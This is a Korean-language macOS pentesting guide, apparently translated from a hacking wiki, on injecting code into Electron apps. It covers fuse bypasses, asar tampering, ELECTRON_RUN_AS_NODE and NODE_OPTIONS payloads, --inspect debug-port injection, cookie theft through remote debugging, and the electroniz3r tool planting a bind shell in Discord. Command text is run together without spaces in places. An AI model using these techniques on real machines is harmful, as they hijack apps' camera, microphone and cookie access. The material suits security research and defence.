Electron이 무엇인지 모르는 경우 여기에서 많은 정보를 찾을 수 있습니다. 하지만 지금은 Electron이 node를 실행한다는 것을 알아두세요.
그리고 node에는 다른 코드를 실행할 수 있게 하는 매개변수 및 환경 변수가 있습니다.
Electron Fuses
이러한 기술은 다음에 설명될 것이지만, 최근 Electron은 이를 방지하는 여러 보안 플래그를 추가했습니다. 이러한 것들이 Electron Fuses이며 macOS의 Electron 앱에서 임의의 코드를 로드하는 것을 방지하는 데 사용되는 것들입니다:
RunAsNode: 비활성화되면 env var ELECTRON_RUN_AS_NODE 사용을 방지하여 코드를 주입합니다.
EnableNodeCliInspectArguments: 비활성화되면 --inspect, --inspect-brk와 같은 매개변수가 존중되지 않습니다. 이를 통해 코드 주입을 방지합니다.
EnableEmbeddedAsarIntegrityValidation: 활성화되면 로드된 asar파일이 macOS에서 검증됩니다. 이 파일의 내용을 수정하여 코드 주입을 방지합니다.
OnlyLoadAppFromAsar: 이 기능이 활성화되면 app.asar, app 및 마지막으로 default_app.asar 순서로 로드하는 대신 app.asar만 확인하고 사용합니다. 따라서 embeddedAsarIntegrityValidation 퓨즈와 결합되었을 때 검증되지 않은 코드를 로드하는 것이 불가능합니다.
LoadBrowserProcessSpecificV8Snapshot: 활성화되면 브라우저 프로세스가 V8 스냅샷을 위해 browser_v8_context_snapshot.bin이라는 파일을 사용합니다.
코드 주입을 방지하지 않는 다른 흥미로운 퓨즈는:
EnableCookieEncryption: 활성화되면 디스크에 저장된 쿠키 저장소가 OS 수준의 암호화 키를 사용하여 암호화됩니다.
Electron 앱이 사용하는 외부 JS/HTML 파일이 있을 수 있으므로 공격자는 이러한 파일에 코드를 삽입하여 서명이 확인되지 않는 코드를 실행하고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
그러나 현재 2가지 제한 사항이 있습니다:
앱을 수정하려면 kTCCServiceSystemPolicyAppBundles 권한이 필요하므로 기본적으로 더 이상 불가능합니다.
컴파일된 asap 파일에는 일반적으로 퓨즈 embeddedAsarIntegrityValidation 및 **onlyLoadAppFromAsar**가 활성화되어 있습니다.
이 공격 경로를 더 복잡하게 만들거나 불가능하게 만듭니다.
kTCCServiceSystemPolicyAppBundles 요구 사항을 우회하는 것이 가능하며, 애플리케이션을 다른 디렉토리(예: /tmp)로 복사하고 폴더 이름을 **app.app/Contents**에서 **app.app/NotCon**으로 변경한 다음, 악의적인 코드로 asar 파일을 수정하고 다시 **app.app/1**로 이름을 변경한 후 실행할 수 있습니다.
asar 파일에서 코드를 추출할 수 있습니다:
npxasarextractapp.asarapp-decomp
그리고 수정한 후에 다시 패킹하세요:
npxasarpackapp-decompapp-new.asar
ELECTRON_RUN_AS_NODE를 사용한 RCE
문서에 따르면, 이 환경 변수가 설정되면 프로세스가 일반 Node.js 프로세스로 시작됩니다.
# Run thisELECTRON_RUN_AS_NODE=1/Applications/Discord.app/Contents/MacOS/Discord# Then from the nodeJS console execute:require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
만약 fuse **RunAsNode**가 비활성화되어 있다면 env var **ELECTRON_RUN_AS_NODE**은 무시되며 작동하지 않을 것입니다.
앱 Plist로부터의 Injection
여기에서 제안된 것과 같이, 이 env 변수를 plist에 남아 있는 상태로 악용할 수 있습니다:
# Content of /tmp/payload.jsrequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');# ExecuteNODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1/Applications/Discord.app/Contents/MacOS/Discord
만약 fuse EnableNodeOptionsEnvironmentVariable 가 비활성화되어 있다면, 앱은 실행될 때 환경 변수 NODE_OPTIONS를 무시할 것이며, 환경 변수 **ELECTRON_RUN_AS_NODE**가 설정되지 않으면 또한 무시될 것입니다. 이때 fuse **RunAsNode**가 비활성화되어 있다면 더욱 그렇습니다.
**ELECTRON_RUN_AS_NODE**를 설정하지 않으면, 다음 에러를 발견할 수 있습니다: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
이에 따르면, Electron 애플리케이션을 --inspect, --inspect-brk, **--remote-debugging-port**와 같은 플래그로 실행하면 디버그 포트가 열리므로 해당 포트에 연결할 수 있습니다 (예: Chrome의 chrome://inspect에서) 그리고 코드를 주입하거나 새로운 프로세스를 시작할 수 있습니다.
예를 들어:
/Applications/Signal.app/Contents/MacOS/Signal--inspect=9229# Connect to it using chrome://inspect and execute a calculator with:require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
만약 fuse **EnableNodeCliInspectArguments**가 비활성화된 경우, 앱은 시작될 때 **--inspect**와 같은 노드 매개변수를 무시하게 됩니다. 이를 우회하려면 환경 변수 **ELECTRON_RUN_AS_NODE**를 설정해야 하며, 이는 fuse **RunAsNode**가 비활성화된 경우에도 무시됩니다.
그러나 여전히 **electron 매개변수 --remote-debugging-port=9229**를 사용할 수 있지만, 이전 payload는 다른 프로세스를 실행하는 데 사용할 수 없습니다.
--remote-debugging-port=9222 매개변수를 사용하면 Electron 앱에서 history (GET 명령어로)나 브라우저의 cookies를 훔칠 수 있습니다 (브라우저 내에서 복호화되고 제공되는 json 엔드포인트가 있습니다).
macOS의 TCC 데몬은 응용 프로그램의 실행 버전을 확인하지 않습니다. 따라서 이전 기술 중 어떤 것으로도 일렉트론 응용 프로그램에 코드를 삽입할 수 없는 경우 APP의 이전 버전을 다운로드하고 여전히 TCC 권한을 얻을 수 있도록 코드를 삽입할 수 있습니다 (Trust Cache가 방지하지 않는 한).
비 JS 코드 실행
이전 기술을 사용하면 일렉트론 응용 프로그램의 프로세스 내에서 JS 코드를 실행할 수 있습니다. 그러나 자식 프로세스는 부모 응용 프로그램과 동일한 샌드박스 프로필에서 실행되며 그들의 TCC 권한을 상속합니다.
따라서 카메라 또는 마이크에 액세스하기 위해 권한을 남용하려면 프로세스에서 다른 이진 파일을 실행할 수 있습니다.
자동 삽입
도구 electroniz3r은 설치된 취약한 일렉트론 응용 프로그램을 찾아서 코드를 삽입하는 데 쉽게 사용할 수 있습니다. 이 도구는 --inspect 기술을 사용하려고 시도할 것입니다:
스스로 컴파일해야 하며 다음과 같이 사용할 수 있습니다:
# Find electron apps./electroniz3rlist-apps╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗║Bundleidentifier│Path║╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝com.microsoft.VSCode/Applications/VisualStudioCode.apporg.whispersystems.signal-desktop/Applications/Signal.apporg.openvpn.client.app/Applications/OpenVPNConnect/OpenVPNConnect.appcom.neo4j.neo4j-desktop/Applications/Neo4jDesktop.appcom.electron.dockerdesktop/Applications/Docker.app/Contents/MacOS/DockerDesktop.apporg.openvpn.client.app/Applications/OpenVPNConnect/OpenVPNConnect.appcom.github.GitHubClient/Applications/GitHubDesktop.appcom.ledger.live/Applications/LedgerLive.appcom.postmanlabs.mac/Applications/Postman.appcom.tinyspeck.slackmacgap/Applications/Slack.appcom.hnc.Discord/Applications/Discord.app# Check if an app has vulenrable fuses vulenrable## It will check it by launching the app with the param "--inspect" and checking if the port opens/electroniz3rverify"/Applications/Discord.app"/Applications/Discord.appstartedthedebugWebSocketserverTheapplicationisvulnerable!Youcannowkilltheappusing`kill-957739`# Get a shell inside discord## For more precompiled-scripts check the code./electroniz3rinject"/Applications/Discord.app"--predefined-scriptbindShell/Applications/Discord.appstartedthedebugWebSocketserverThewebSocketDebuggerUrlis:ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5Shellbindingrequested.Check`nc127.0.0.112345`